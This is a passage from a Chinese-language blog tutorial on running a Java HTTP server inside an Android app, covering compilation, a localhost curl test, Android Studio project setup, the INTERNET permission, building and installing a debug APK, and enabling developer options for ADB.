<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1jDKZ7FHfWMtnlA6umJUneSfLknqLp6dEuFyql_4YAZLhtlTAq8DLRR7lEgOM7glP4s6s2glonZczxN_2QoV2120wuRWc1DhMYDdzdJg1yjTLgjXDyLxTlMoRpv31b6Yg2AevPQwYsHe2pBlk3INOqmaRNlnKaTguqJVW07EGjv0SPWXx_a4na9M0/w0/android-as-iot-038.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1jDKZ7FHfWMtnlA6umJUneSfLknqLp6dEuFyql_4YAZLhtlTAq8DLRR7lEgOM7glP4s6s2glonZczxN_2QoV2120wuRWc1DhMYDdzdJg1yjTLgjXDyLxTlMoRpv31b6Yg2AevPQwYsHe2pBlk3INOqmaRNlnKaTguqJVW07EGjv0SPWXx_a4na9M0/w600/android-as-iot-038.png"/></a></div>
<div>輸入</div>
<pre class="brush:bash">javac HttpServer.java</pre>
<div>編譯 Java 程式</div>
<div>輸入</div>
<pre class="brush:bash">java HttpServer</pre>
<div>執行 Java 程式</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1NXkiB32Gc1Ka4H7aqLS9xOFTKXKTUy_fEDkbdlBpIrOW-KJeWcMhKogUcXaTpS6grr2IW8AeD-h1kbG2hhOoIPq-wB9Ckwj_ojL27U9RdWQcE4ey5JmcFiCTdkowyvAS8r-8NLJumks_Dn12Cx2uBhvBsVMKzNIzz7gC3CGPFbmJ58uKtTo-j5H3/w0/android-as-iot-039.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1NXkiB32Gc1Ka4H7aqLS9xOFTKXKTUy_fEDkbdlBpIrOW-KJeWcMhKogUcXaTpS6grr2IW8AeD-h1kbG2hhOoIPq-wB9Ckwj_ojL27U9RdWQcE4ey5JmcFiCTdkowyvAS8r-8NLJumks_Dn12Cx2uBhvBsVMKzNIzz7gC3CGPFbmJ58uKtTo-j5H3/w600/android-as-iot-039.png"/></a></div>
<div>使用網頁瀏覽器或能發送 HTTP請求 的工具瀏覽 Java 的 HTTP伺服器<br/>
例如在下使用 Curl ,輸入</div>
<pre class="brush:bash">curl -i "http://127.0.0.1:8080/"</pre>
<div>發送成功,會顯示與 OutputStream 相同的輸出結果</div>
<br/>
<a name="編寫Android應用程式"></a><h4 class="mra-h4">編寫 Android 應用程式</h4>
<div>編寫 Android 應用程式 最簡單是使用 Android Studio<br/>
安裝的步驟在下不詳細說明,但由於 Android Studio 需要使用 Java 編譯程式碼<br/>
因此仍然需要安裝 Java 的編譯器</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCz3xYdrFsSIYVQNdtsW_ejfOevzgBjpuTVenmKG-rxmQEcHPlrsGOrTJMOTaWU1JPFKwopdRugh49R0xFeDQe-6ZQ6JZ0MAjL33D1XkMYg_d4B2MR85i3JoAIM1-IqX1yvRsATsO27dI-NzCoBoX50uccBftYWacCJE5EIveh0TvX71e9S7WCAf-W/w0/android-as-iot-040.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCz3xYdrFsSIYVQNdtsW_ejfOevzgBjpuTVenmKG-rxmQEcHPlrsGOrTJMOTaWU1JPFKwopdRugh49R0xFeDQe-6ZQ6JZ0MAjL33D1XkMYg_d4B2MR85i3JoAIM1-IqX1yvRsATsO27dI-NzCoBoX50uccBftYWacCJE5EIveh0TvX71e9S7WCAf-W/w600/android-as-iot-040.png"/></a></div>
<div>在建立專案的範本中,選擇 <span class="mra-highlighter">Empty Activity</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9tuGg9SRkxRjlOf0LDEe0AIpjQDdD8ZJlZSK6KVlqMlcPtq5oWdNgZQgKOBPO19gp_Zj7WZtrAE_nIX7zX9L_pGEgaMJeXjw0-N5PDuLYSB_U-0pOHLTbtMv-3sV3Ma2JZsNDmcPfJBZmmjtkpz2gBgO4Nz8oAasLlps49n5pA_dKB4eLvLNuf9QF/w0/android-as-iot-041.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9tuGg9SRkxRjlOf0LDEe0AIpjQDdD8ZJlZSK6KVlqMlcPtq5oWdNgZQgKOBPO19gp_Zj7WZtrAE_nIX7zX9L_pGEgaMJeXjw0-N5PDuLYSB_U-0pOHLTbtMv-3sV3Ma2JZsNDmcPfJBZmmjtkpz2gBgO4Nz8oAasLlps49n5pA_dKB4eLvLNuf9QF/w600/android-as-iot-041.png"/></a></div>
<div>輸入專案的名稱<br/>
程式語言可以選擇 <span class="mra-highlighter">Kotlin</span> 或 <span class="mra-highlighter">Java</span> (在下使用 Java 編寫)<br/>
<span class="mra-highlighter">Minimum SDK</span> 可以根據需要的程式碼,選擇較舊或較新的 SDK<br/>
較舊的 SDK 可以支援較多 Android 裝置,但支援的功能較少;反之亦然</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKk2amQZ7VZBS0dPHN-Fw-iiPvKW2e0o6rI-6G4f9NTUrmnnbhiyiVTVKn3pPL3ON0qgdmx9TkhGxtJjFD9w7NF6kxeumYDcL7bMRwjwY4dfSlMQol2nS13qZhI2RABxYLBcer88O9w8rMqo2x_yjiW23yw8KLvMOgOGy8w7sjRO7ZSoaxfyIkcOGl/w0/android-as-iot-042.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKk2amQZ7VZBS0dPHN-Fw-iiPvKW2e0o6rI-6G4f9NTUrmnnbhiyiVTVKn3pPL3ON0qgdmx9TkhGxtJjFD9w7NF6kxeumYDcL7bMRwjwY4dfSlMQol2nS13qZhI2RABxYLBcer88O9w8rMqo2x_yjiW23yw8KLvMOgOGy8w7sjRO7ZSoaxfyIkcOGl/w600/android-as-iot-042.png"/></a></div>
<div>建立專案需要一些初始化時間</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4JU2sCGkRqvhlpv3Q79LCh7HUozBPifJGAf4iDbNFF_c5mhj2BgHBV6YTVq_tKfGTciC1X_WlEF-sUOfRT3QhpEdPxnU1m5Hxj6NcaBBzGuGKZAwZ5B_jHFLJcSocGdtUvtIG-oCTWf8MfUyhc0dhyZGZMU_oZj6zjbG7zaDub_BKgKOxRl5WosDF/w0/android-as-iot-043.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4JU2sCGkRqvhlpv3Q79LCh7HUozBPifJGAf4iDbNFF_c5mhj2BgHBV6YTVq_tKfGTciC1X_WlEF-sUOfRT3QhpEdPxnU1m5Hxj6NcaBBzGuGKZAwZ5B_jHFLJcSocGdtUvtIG-oCTWf8MfUyhc0dhyZGZMU_oZj6zjbG7zaDub_BKgKOxRl5WosDF/w600/android-as-iot-043.png"/></a></div>
<div>修改 <span class="mra-highlighter">java/<project-package>/MainActivity</span><br/>
將先前測試成功的 HttpServer.java 類別內容複製到 <span class="mra-highlighter">MainActivity.java</span>
(作為內部類別會比較容易測試)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVKKIbLjGAcjx_EUH9MGYeLnFuLiUPhOQ3xM1Y1xlfgZFm0x6_bJLe6zwHbzYdus-WapaXWLRPwRovjmDeDlzp5sVyFwmxOYZOBp2AanLiY7-Hh0GxgvYq8PEzNdXo0m00FJzCRghxAYZpiCh3uE_Dwu0ezvzfz6DwD9oiPi27yqOOmlKFVTxp9BdZ/w0/android-as-iot-044.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVKKIbLjGAcjx_EUH9MGYeLnFuLiUPhOQ3xM1Y1xlfgZFm0x6_bJLe6zwHbzYdus-WapaXWLRPwRovjmDeDlzp5sVyFwmxOYZOBp2AanLiY7-Hh0GxgvYq8PEzNdXo0m00FJzCRghxAYZpiCh3uE_Dwu0ezvzfz6DwD9oiPi27yqOOmlKFVTxp9BdZ/w600/android-as-iot-044.png"/></a></div>
<div>將 HttpServer.java 的 <span class="mra-highlighter">public static void main</span> 內容<br/>
複製到 MainActivity.java 的 <span class="mra-highlighter">protected void onCreate</span> 中<br/>
由於 protected void onCreate 不能使用 throws 語法,因此需要改為 try catch</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwPfD6Oo7gXvy-LRwu_oUHIaAfCve3GPi6hUMarHKrlDq4KGpwml1ryhyAnrweTlUoCsst4UiWjzrDNi9_Fc7oKOIGRiX-aqGFPU7SLjrPg_jSL_pMz1g-4tQX3cmIm3zocbU0h3qv0o5tIfkyEw7BbKri2h07NlvTnqRv2a87Ep8fpQdmqpYUC94-/w0/android-as-iot-045.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwPfD6Oo7gXvy-LRwu_oUHIaAfCve3GPi6hUMarHKrlDq4KGpwml1ryhyAnrweTlUoCsst4UiWjzrDNi9_Fc7oKOIGRiX-aqGFPU7SLjrPg_jSL_pMz1g-4tQX3cmIm3zocbU0h3qv0o5tIfkyEw7BbKri2h07NlvTnqRv2a87Ep8fpQdmqpYUC94-/w600/android-as-iot-045.png"/></a></div>
<div>由於 HTTP伺服器 需要使用 <span class="mra-highlighter">存取網絡</span>,因此需要加入網絡使用權限<br/>
到 <span class="mra-highlighter">manifests/AndroidManifest.xml</span> 中加入</div>
<pre class="brush:xml"><uses-permission android:name="android.permission.INTERNET"/></pre>
<div>(大小寫相符)</div>
<br/>
<a name="建立APK檔案及安裝"></a><h4 class="mra-h4">建立 APK 檔案及安裝</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKkLMzQPJpp7K7XiD3FOWW8cMA8MPyqQZ7dW8A_fv5Teu7dOZwXqadURVwMGCP_1bM9bfjDlvgfze18cOCbQV-qp4gZ4Md-SODy57khvk851G8o6YGl7BrJUsRvLSG57KuHlomN2zl11CaeG9ufbguTBX69u1KGcD8fjFvfPSzlNdhEWoSEYRkKrDw/w0/android-as-iot-046.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKkLMzQPJpp7K7XiD3FOWW8cMA8MPyqQZ7dW8A_fv5Teu7dOZwXqadURVwMGCP_1bM9bfjDlvgfze18cOCbQV-qp4gZ4Md-SODy57khvk851G8o6YGl7BrJUsRvLSG57KuHlomN2zl11CaeG9ufbguTBX69u1KGcD8fjFvfPSzlNdhEWoSEYRkKrDw/w600/android-as-iot-046.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI4IeeO3VSfA-__0LEWPbttYxMcmH3oHT92OF9DUy3viVV7-bLDgVT67iNLj848kVuGA_X8_D8vsLVtjn1V-MpQ7eqdXyBKurY2BGFl-NtQQE6RrbeygMYMSwSpjOdbDJidyz9x78hIxEGRpTiXWfLRFKwx28aVgsD0nocyW5Tlp5qadoAYXsuWcFM/w0/android-as-iot-047.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI4IeeO3VSfA-__0LEWPbttYxMcmH3oHT92OF9DUy3viVV7-bLDgVT67iNLj848kVuGA_X8_D8vsLVtjn1V-MpQ7eqdXyBKurY2BGFl-NtQQE6RrbeygMYMSwSpjOdbDJidyz9x78hIxEGRpTiXWfLRFKwx28aVgsD0nocyW5Tlp5qadoAYXsuWcFM/w600/android-as-iot-047.png"/></a></div>
<div>到 <span class="mra-highlighter">Build</span> > <span class="mra-highlighter">Build Bundle(s) / APK(s)</span> > <span class="mra-highlighter">Build APK(s)</span> 建立 APK檔案</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qEQ4o6S4x2rquk5Seu7nar2kxKofbX_x1R-4LzRTXjiGdh6Dewlhunj2b5AVP3j8bSalOu_2X4UDcIboATPCN5I6HVaV-kN4dUCxKWHsf1ydm-quiLHe943YXFF_gvB2Y_ztRCynZKN13ZNdwredf8XDfCg3G4BDfSNwZ3UcnWH6pXeSmd0cSmQc/w0/android-as-iot-048.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qEQ4o6S4x2rquk5Seu7nar2kxKofbX_x1R-4LzRTXjiGdh6Dewlhunj2b5AVP3j8bSalOu_2X4UDcIboATPCN5I6HVaV-kN4dUCxKWHsf1ydm-quiLHe943YXFF_gvB2Y_ztRCynZKN13ZNdwredf8XDfCg3G4BDfSNwZ3UcnWH6pXeSmd0cSmQc/w600/android-as-iot-048.png"/></a></div>
<div>APK檔案 建立後, Android Studio 會顯示完成資訊<br/>
按 <span class="mra-highlighter">locate</span> 開啟保存 APK檔案 的目錄</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXT8u2Aun1IQyteLyTWdHM3_X7bL0Z0QyOYV_iswmKSrrmoi0gKUo7UKjlEBLeVn5ahVSypBpho5qVIZf-kFRD0IRFr9UJ5bY-iZXtYj8Mm5RELZVCzSJlrSdzqyx_d6rip66yDKpCR98kEVMgIGqA7OutiTCwbU4pEo4kuW3lTbF5rGrVcQ2Fek6U/w0/android-as-iot-049.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXT8u2Aun1IQyteLyTWdHM3_X7bL0Z0QyOYV_iswmKSrrmoi0gKUo7UKjlEBLeVn5ahVSypBpho5qVIZf-kFRD0IRFr9UJ5bY-iZXtYj8Mm5RELZVCzSJlrSdzqyx_d6rip66yDKpCR98kEVMgIGqA7OutiTCwbU4pEo4kuW3lTbF5rGrVcQ2Fek6U/w600/android-as-iot-049.png"/></a></div>
<div>APK檔案 預設名稱為 <span class="mra-highlighter">app-debug.apk</span><br/>
並保存在 <span class="mra-highlighter"><project-package>/app/build/outputs/apk/debug</span> 的目錄中</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikG58UC7JkAeOLEvhP8d7uHXz82eM7FZ3cILIOnH-SQ1K3ARsaWb8iiGMD4-ocoq-__EXXA0XsQIBRSPe7dvaiR0o3WD1mkhry009vHf7QfRPR1w0XX7J73bt7CLGpJ6dcHpA3iH9ZOwG4aUt_nJCpP897kqyBa0kLdP5Dtl4kpUxiaaN1VjrKucXm/w0/android-as-iot-050.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikG58UC7JkAeOLEvhP8d7uHXz82eM7FZ3cILIOnH-SQ1K3ARsaWb8iiGMD4-ocoq-__EXXA0XsQIBRSPe7dvaiR0o3WD1mkhry009vHf7QfRPR1w0XX7J73bt7CLGpJ6dcHpA3iH9ZOwG4aUt_nJCpP897kqyBa0kLdP5Dtl4kpUxiaaN1VjrKucXm/w600/android-as-iot-050.png"/></a></div>
<div>將 Android裝置 連接到 電腦,同並允許電腦能夠存取 Android裝置 的內容</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinupjIEPwwjCurhjbufK9cUZC1wy8Evf-rT-ETlflKCwCRCl9ApXjluONy2kvhNFwU5BXjT5E68TocYvZHJUKHmy23FFx_oubN8oMzd18yq9UtIFT87TYxm2d0JYMnAOIJTg109QHWXltsi4876h8vP0e5Jf0uEYKOl3xNGbYKIwAThQRtBv59fo5K/w0/android-as-iot-051.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinupjIEPwwjCurhjbufK9cUZC1wy8Evf-rT-ETlflKCwCRCl9ApXjluONy2kvhNFwU5BXjT5E68TocYvZHJUKHmy23FFx_oubN8oMzd18yq9UtIFT87TYxm2d0JYMnAOIJTg109QHWXltsi4876h8vP0e5Jf0uEYKOl3xNGbYKIwAThQRtBv59fo5K/w600/android-as-iot-051.png"/></a></div>
<div>將 app-debug.apk 複製到 Android裝置<br/>
(複製位置並沒有限制)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtw8x9ck1KmYwrxSF8Nq4XzOT_kP-KACCPT8RmutoKfvQjiN_bpuEKOBOVI6tfj3-FcldUeofne5N_Z6kga8PcWYpZvwPOELN2HprX3sgxZgqzvvPZyx05Q3snpESpsxYHkzOABICAZCPrcyWEV6VXobUon4nGhRtZtL2F3g0SADNzJpsngBDMQslN/w0/android-as-iot-052.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtw8x9ck1KmYwrxSF8Nq4XzOT_kP-KACCPT8RmutoKfvQjiN_bpuEKOBOVI6tfj3-FcldUeofne5N_Z6kga8PcWYpZvwPOELN2HprX3sgxZgqzvvPZyx05Q3snpESpsxYHkzOABICAZCPrcyWEV6VXobUon4nGhRtZtL2F3g0SADNzJpsngBDMQslN/w600/android-as-iot-052.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkZ2zpleAvNziOfu-3GP80xrI7fIc6qz8PtFjVkKdOgq4OgxdDs3-4VdLow_HomwGt7ppBZnEW-pUZ8bm6BhpovTCqNEgTuappyYFIAufj924HJPWM4AVcnDI338skipHcNayvt8r7-t_fATFqxXpk4XGCb53As2B5DzSwn-RbmoNrH3YipKcsIoHK/w0/android-as-iot-053.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkZ2zpleAvNziOfu-3GP80xrI7fIc6qz8PtFjVkKdOgq4OgxdDs3-4VdLow_HomwGt7ppBZnEW-pUZ8bm6BhpovTCqNEgTuappyYFIAufj924HJPWM4AVcnDI338skipHcNayvt8r7-t_fATFqxXpk4XGCb53As2B5DzSwn-RbmoNrH3YipKcsIoHK/w600/android-as-iot-053.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibRcFBKOyjvWlcFrA3uArAhZ-u3HLMv210iBd6FxgM4pIFnCoDC9sCOpfJa3guvbn-u-D-c7fpFZoBTawnOwPWTlrDsNSg5tNSM8mrqz6dOHWGyjBNBa_IPtGsDSq63ZH0MzkTZKg3-Vwb6R3Y30GFqPDMIDeGgb692WmQUZQj79qFnXJ0iLMCJijh/w0/android-as-iot-054.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibRcFBKOyjvWlcFrA3uArAhZ-u3HLMv210iBd6FxgM4pIFnCoDC9sCOpfJa3guvbn-u-D-c7fpFZoBTawnOwPWTlrDsNSg5tNSM8mrqz6dOHWGyjBNBa_IPtGsDSq63ZH0MzkTZKg3-Vwb6R3Y30GFqPDMIDeGgb692WmQUZQj79qFnXJ0iLMCJijh/w600/android-as-iot-054.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Na3mbdCkeDWJlIHTXqtVkrIW1qCy7p8seDDwR8k4zan_tygx3AWrcOP1AGpGddAfLBxFT1QrKmz6xa66LcGxqKOsKPiL_mYW4NJS1D09ZGscy1lNZovZC0cDiZBlaxtNHFvwIR27yK1lf0O8jtd8wbbgBrJCS7DrgFDtKYCJ-34xID1BxdrvlDt0/w0/android-as-iot-055.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Na3mbdCkeDWJlIHTXqtVkrIW1qCy7p8seDDwR8k4zan_tygx3AWrcOP1AGpGddAfLBxFT1QrKmz6xa66LcGxqKOsKPiL_mYW4NJS1D09ZGscy1lNZovZC0cDiZBlaxtNHFvwIR27yK1lf0O8jtd8wbbgBrJCS7DrgFDtKYCJ-34xID1BxdrvlDt0/w600/android-as-iot-055.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw23gHoL_jDTCs0moPno1eTrvL8UgLXv7GS0VrHL8H6QGTYFzImuSgQd3pbSmCAwPWa9FuTP0HByyEoKhqnfsEgHvc0QRyc1dJObP2H38oQg60Q2lAjnwDRvFH-stmPbWSpsQvjBEFsj1TVFeEQxzAKIyFcdE16VCeonlpzchsHSOHz0APOEw__7Go/w0/android-as-iot-056.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw23gHoL_jDTCs0moPno1eTrvL8UgLXv7GS0VrHL8H6QGTYFzImuSgQd3pbSmCAwPWa9FuTP0HByyEoKhqnfsEgHvc0QRyc1dJObP2H38oQg60Q2lAjnwDRvFH-stmPbWSpsQvjBEFsj1TVFeEQxzAKIyFcdE16VCeonlpzchsHSOHz0APOEw__7Go/w600/android-as-iot-056.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZgaxLh1c5cYRw25tjNjbquJH4EU_VVbvnZttjKSbuazI0yTX_oKD0Z4RlVJfqXmwtRZDknXxl8vyr63E-zRgrCW4eYbsv1yfTIq5P8JOo4mNtukVUkeYcJXBPswMHw_gj9vuMw4_qbNdpFve9ossJVPN8RgRn3KvRJIqt8mFsnD8FnYtVYdij-Vrd/w0/android-as-iot-057.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZgaxLh1c5cYRw25tjNjbquJH4EU_VVbvnZttjKSbuazI0yTX_oKD0Z4RlVJfqXmwtRZDknXxl8vyr63E-zRgrCW4eYbsv1yfTIq5P8JOo4mNtukVUkeYcJXBPswMHw_gj9vuMw4_qbNdpFve9ossJVPN8RgRn3KvRJIqt8mFsnD8FnYtVYdij-Vrd/w600/android-as-iot-057.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2YOeE1D0p5yz4OzadNw0n0BtDwefMR5DVh3gZtTLE-vluzGMBPn54gtQrIbsPfFDTYVSza-UYHCI7fDV-UZ942Zm4RCaYnJjezvbfUgEI4SQM8EHZ4c8sRIN5t2O34Rbn4BScN8--UOES7GsLsU7nkvsxXvcz2NFuQMIlEUx_bHWJV22KTKLMJJVT/w0/android-as-iot-058.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2YOeE1D0p5yz4OzadNw0n0BtDwefMR5DVh3gZtTLE-vluzGMBPn54gtQrIbsPfFDTYVSza-UYHCI7fDV-UZ942Zm4RCaYnJjezvbfUgEI4SQM8EHZ4c8sRIN5t2O34Rbn4BScN8--UOES7GsLsU7nkvsxXvcz2NFuQMIlEUx_bHWJV22KTKLMJJVT/w600/android-as-iot-058.png"/></a></div>
<div>在 Android裝置 尋找 app-debug.apk 並安裝<br/>
(安裝流程與 Termux 相同,因此在下不重覆說明)</div>
<br/>
<a name="使用ADB安裝及執行"></a><h4 class="mra-h4">使用 ADB 安裝及執行</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxpCojqwJ3Y6GOnZb_edZqzU1C6IP-hDj3N02y9vfHz0Iovz7olEAT6DMOwy-EzfrhzNrb7IXEn5n5CnnjSxTOhdgPC8vswwHHFfBcato6omgeJWxFLoZoIilUp38a5VPzCJj_7pd-GcOfF3oCB8BN5AK5FibK7ASejmHG_gKBVCgs5P7eDgUBYyZ6/w0/android-as-iot-059.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxpCojqwJ3Y6GOnZb_edZqzU1C6IP-hDj3N02y9vfHz0Iovz7olEAT6DMOwy-EzfrhzNrb7IXEn5n5CnnjSxTOhdgPC8vswwHHFfBcato6omgeJWxFLoZoIilUp38a5VPzCJj_7pd-GcOfF3oCB8BN5AK5FibK7ASejmHG_gKBVCgs5P7eDgUBYyZ6/w600/android-as-iot-059.png"/></a></div>
<div>到 <span class="mra-highlighter">設定</span> > <span class="mra-highlighter">關於裝置</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOaQEdWl84aGvu090V29S_e5hTfmwlFI9EZRbb2KpXaysEN1vwQn-zVEOSbYtt2x8vmlF91jZt7vFd7unRAG1FEMbuXDCL7DaT1tQA4z4eaYTnIWgf9Zb5kHuwsXlwvTTZJOqW7c_I3ILZkrVE889lhIhZ7OC-ci2yqxSfA3MKwCeSWSlvRYG5tUNX/w0/android-as-iot-060.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOaQEdWl84aGvu090V29S_e5hTfmwlFI9EZRbb2KpXaysEN1vwQn-zVEOSbYtt2x8vmlF91jZt7vFd7unRAG1FEMbuXDCL7DaT1tQA4z4eaYTnIWgf9Zb5kHuwsXlwvTTZJOqW7c_I3ILZkrVE889lhIhZ7OC-ci2yqxSfA3MKwCeSWSlvRYG5tUNX/w600/android-as-iot-060.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw4bwr2CGHOMiP8dW0XNTbjtW8Dankc_Fca1O-sfDcrQo0sQjki6pspexCmf18kMcEZFxl72PKkNTA5EeKDi_AAvSbrsw7N7_x4WF43q70jVpgHqNL9fPl5WAgDiYqVEB2EuwwO7HrJxt7qsT0tu5tF6BI_ezDs5xg-0ItyrRh5GAyaxFyknQ2rd7a/w0/android-as-iot-061.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw4bwr2CGHOMiP8dW0XNTbjtW8Dankc_Fca1O-sfDcrQo0sQjki6pspexCmf18kMcEZFxl72PKkNTA5EeKDi_AAvSbrsw7N7_x4WF43q70jVpgHqNL9fPl5WAgDiYqVEB2EuwwO7HrJxt7qsT0tu5tF6BI_ezDs5xg-0ItyrRh5GAyaxFyknQ2rd7a/w600/android-as-iot-061.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPnd2tXzwDmEP5z3MlpcUQkcOmUFW8PeNAqJrq1_rkk33crcTYqsyCgIVYISQ8IXi1abq9uXZtPm1XiikK8ZThfDKI-74AntzbXjuvaVKxVv5nj03OnubDZtYPOHrHLKwv6L0OS2_KW0wvCUMmx1ZrKdX9ARqc39R9gdiSfXoBx1Jr7uaWXYI60P15/w0/android-as-iot-062.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPnd2tXzwDmEP5z3MlpcUQkcOmUFW8PeNAqJrq1_rkk33crcTYqsyCgIVYISQ8IXi1abq9uXZtPm1XiikK8ZThfDKI-74AntzbXjuvaVKxVv5nj03OnubDZtYPOHrHLKwv6L0OS2_KW0wvCUMmx1ZrKdX9ARqc39R9gdiSfXoBx1Jr7uaWXYI60P15/w600/android-as-iot-062.png"/></a></div>
<div>點擊 <span class="mra-highlighter">內部版本號 7次</span>,以啟用 <span class="mra-highlighter">開發人員選項</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGTHzkKWvaOw_g-dRRSyYChqiR29Jt8X-w8KOwHwSgTsESnZdTOZHDyBRsWuf0wDPbQiAeFcZuuJzNH_GUIRLIb2oS-K1cOReVZhiwyd05AS4rnjSIEQhQ_BlsgQfSI85nHWNRr5HHzTrualyA9B19kkTH_cAc__T23W-cd0CDIxSVzwMxvZb0oVo5/w0/android-as-iot-063.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGTHzkKWvaOw_g-dRRSyYChqiR29Jt8X-w8KOwHwSgTsESnZdTOZHDyBRsWuf0wDPbQiAeFcZuuJzNH_GUIRLIb2oS-K1cOReVZhiwyd05AS4rnjSIEQhQ_BlsgQfSI85nHWNRr5HHzTrualyA9B19kkTH_cAc__T23W-cd0CDIxSVzwMxvZb0oVo5/w600/android-as-iot-063.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeYp8ndSSLodg7JF1ru-Sj73sbmd5zAoPty74meRVSGlNZTqB9gi8zKjSrSwnS6abt94qFSGotyMXPEvChiHhlmiZu3KPIQAXp_fQ5WzNkpPt4Lvaf83KAbmh4unoUmnnHAmW_AiVHWtUaheYXRIMvNKZMnQ-1W4YQvTv0_NnvLL4TRMmE_xDUcK6c/w0/android-as-iot-064.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeYp8ndSSLodg7JF1ru-Sj73sbmd5zAoPty74meRVSGlNZTqB9gi8zKjSrSwnS6abt94qFSGotyMXPEvChiHhlmiZu3KPIQAXp_fQ5WzNkpPt4Lvaf83KAbmh4unoUmnnHAmW_AiVHWtUaheYXRIMvNKZMnQ-1W4YQvTv0_NnvLL4TRMmE_xDUcK6c/w600/android-as-iot-064.png"/></a></div>
